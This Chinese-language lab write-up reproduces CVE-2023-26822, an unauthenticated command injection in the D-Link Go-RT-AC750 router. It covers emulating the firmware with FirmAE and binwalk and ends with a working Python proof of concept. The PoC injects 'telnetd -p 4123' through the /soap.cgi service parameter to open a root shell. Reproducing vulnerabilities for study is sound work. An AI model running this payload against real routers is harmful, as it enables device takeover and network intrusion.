D-Link Go-RT-AC750是一款双频无线路由器。D-Link Go-RT-AC750在固件版本为revA_v101b03中存在命令注入漏洞,漏洞编号:CVE-2023-26822。未经授权的攻击者可以请求 /soap.cgi 路由通过携带的参数进行命令拼接,从而控制路由器。
1.FirmAE 工具安装;首先拉取FirmAE 工具仓库
git clone --recursive https://github.com/pr0v3rbs/FirmAE
运行下载脚本;
运行./install.sh进行安装
2.下载固件
本文模拟的是设备型号为Go-RT-AC750,固件版本:revA_v101b03
下载地址:
https://eu.dlink.com/uk/en/products/go-rt-ac750-wireless-ac750-dual-band-easy-
下载后得到GORTAC750_A1_FW_v101b03.bin固件文件
3.FirmAE工具初始化
在FirmAE工具目录下执行./init.sh进行初始化
4.安装binwalk
这里使用FirmAE工具目录下的binwalk安装程序进行安装
cd binwalk-2.3.3/
python3 setup.py install
5.模拟运行固件
执行如下命令对固件进行解压
binwalk -Me /root/GORTAC750_A1_FW_v101b03.bin --run-as=root
执行如下命令来模拟运行固件
sudo ./run.sh -r GORTAC750 /root/GORTAC750_A1_FW_v101b03.bin
使用浏览器访问http://192.168.0.1,出现如下界面则表明成功模拟了一台D-Link Go-RT-AC750路由器
POC内容如下:
from socket import *
from os import *
from time import *
request = b"POST /soap.cgi?service=&&telnetd -p 4123& HTTP/1.1\r\n"
request += b"Host: localhost:49152\r\n"
request += b"Content-Type: text/xml\r\n"
request += b"Content-Length: 88\r\n"
request += b"SOAPAction: a#b\r\n\r\n"
s = socket(AF_INET, SOCK_STREAM)
s.connect((gethostbyname("192.168.0.1"), 49152))
s.send(request)
sleep(10)
system('telnet 192.168.0.1 4123')
执行POC,成功获取shell.